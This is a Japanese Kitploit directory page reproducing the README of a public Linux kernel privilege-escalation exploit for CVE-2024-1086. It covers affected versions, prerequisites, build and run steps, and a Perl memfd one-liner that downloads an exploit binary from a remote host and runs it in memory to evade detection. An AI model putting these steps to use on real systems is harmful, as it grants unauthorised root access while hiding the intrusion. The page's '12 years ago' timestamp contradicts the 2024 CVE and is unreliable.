Skip to content
KitploitKITPLOIT
ツールブログ
提出
ツールブログ
提出

ハッキング、侵入テスト、サイバーセキュリティツールをあなたのセキュリティアーセナルに!

Kitploitはハッキング、サイバーセキュリティ、ペネトレーションテストのツールディレクトリです。最新のプロジェクトアップデートを見つけて、脆弱性の発見、システム分析、テストの自動化、セキュリティの強化を行いましょう。

··フィード·お問い合わせ·プライバシー·© 2026 Kitploit

ツールディレクトリ

カテゴリ

すべてのカテゴリを見る
Loading categories
CVE-2024-1086 — CVE-2024-1086向けのローカル権限昇格エクスプロイトで、Linuxカーネルv5.14からv6.6を対象とし、KernelCTF環境では99.4%の成功率を誇ります。 | Kitploit
ツール/GitHubGitHub/ccievoice2009/cve-2024-1086
特権昇格脆弱性分析エクスプロイトペネトレーションテスト学習と教育バイナリエクスプロイト
GitHubccievoice2009/cve-2024-1086

CVE-2024-1086

CVE-2024-1086向けのローカル権限昇格エクスプロイトで、Linuxカーネルv5.14からv6.6を対象とし、KernelCTF環境では99.4%の成功率を誇ります。

リポジトリを見る
12年前未レビュー

人気

すべて見る →

コミュニティで最も使われているツールを見つけましょう。

すべてのツールを探索

ツールコレクションを閲覧

すべてのツールを見る →
共有

CVE-2024-1086

CVE-2024-1086 のユニバーサルローカル権限昇格 Proof-of-Concept エクスプロイトです。v5.14 から v6.6 までのほとんどの Linux カーネル(Debian、Ubuntu、KernelCTF を含む)で動作します。KernelCTF イメージでの成功率は 99.4% です。

https://github.com/Notselwyn/CVE-2024-1086/assets/68616630/a3d43951-94ab-4c09-a14b-07b81f89b3de

ブログ記事 / 詳細解説

エクスプロイトの完全な詳細解説(背景情報や便利な図多数)は、Flipping Pages ブログ記事 にあります。

影響を受けるバージョン

このエクスプロイトは、v5.14(含む)から v6.6(含む)までのバージョンに影響しますが、修正済みブランチ v5.15.149>、v6.1.76>、v6.6.15> は除外されます。これらのバージョンのパッチは 2024 年 2 月にリリースされました。根本的な脆弱性は、v3.15 から v6.8-rc1 までのすべてのバージョン(修正済み安定ブランチを除く)に影響します。

注意事項:

  • このエクスプロイトは、kconfig で CONFIG_INIT_ON_ALLOC_DEFAULT_ON=y が設定されている v6.4> カーネル(Ubuntu v6.5 を含む)では動作しません。
  • このエクスプロイトは、ユーザ名前空間(kconfig CONFIG_USER_NS=y)が有効であり、それらのユーザ名前空間が非特権であること(sh コマンド sysctl kernel.unprivileged_userns_clone = 1)、および nf_tables が有効であること(kconfig CONFIG_NF_TABLES=y)を必要とします。デフォルトでは、これらはすべて Debian、Ubuntu、KernelCTF で有効になっています。他のディストリビューションはテストされていませんが、動作する可能性があります。また、このエクスプロイトは x64/amd64 でのみテストされています。
  • ネットワークアクティビティが多いシステムでは、エクスプロイトが非常に不安定になる可能性があります。
    • WiFi アダプタを搭載したシステムは、使用率の高い WiFi ネットワークに囲まれていると、非常に不安定になります。
    • テストデバイスでは、BIOS から WiFi アダプタをオフにしてください。
  • エクスプロイト実行後のカーネルパニック(システムクラッシュ)は副作用であり、エクスプロイトの悪用を防ぐために意図的に修正されていません(つまり、悪用の試みはより顕著になり、実際の運用では非実用的になるはずです)。それでも、ルートシェルが機能し、ディスクを介した永続化が可能であるため、ラボ環境では動作する Proof-of-Concept が可能です。

使用方法

設定

デフォルト値は、Debian、Ubuntu、KernelCTF でローカルシェルを使えばそのまま動作するはずです。テストされていない環境/ディストリビューションでは、kconfig の値がターゲットカーネルと一致していることを確認してください。これらは src/config.h で指定できます。物理メモリが 32GiB を超えるマシンでエクスプロイトを実行する場合は、CONFIG_PHYS_MEM を増やしてください。 SSH 経由(テストマシンへ)またはリバースシェル経由でエクスプロイトを実行する場合は、CONFIG_REDIRECT_LOG を 1 に切り替えて、不要なネットワークアクティビティを避けるとよいでしょう。

ビルド

これが不便な場合、デフォルト設定でコンパイル済みの x64 バイナリ も用意されています。

root@kitploit:~
git clone https://github.com/Notselwyn/CVE-2024-1086
cd CVE-2024-1086
make

バイナリ: CVE-2024-1086/exploit

実行

エクスプロイトの実行は同様に簡単です:

root@kitploit:~
./exploit

ファイルレス実行もサポートされています。検出を回避する必要があるペンテストの状況に備えて。ただし、ターゲットに Perl がインストールされている必要があります:

root@kitploit:~
perl -e '
  require qw/syscall.ph/;

  my $fd = syscall(SYS_memfd_create(), $fn, 0);
  system "curl https://example.com/exploit -s >&$fd";
  exec {"/proc/$$/fd/$fd"} "memfd";
'

免責事項

このソフトウェアディレクトリ/フォルダ/リポジトリ(「リポジトリ」)内のプログラムおよびスクリプト(「プログラム」)は、教育/研究目的のみで公開、開発、配布されています。私(「作成者」)は、このリポジトリ内のプログラムの悪意のある使用や違法な使用を容認しません。その意図は研究を共有することであり、それを使って違法行為を行うことではありません。私は、このリポジトリ内のプログラムを使用してあなたが行ういかなることに対しても法的責任を負いません。

ツールをダウンロード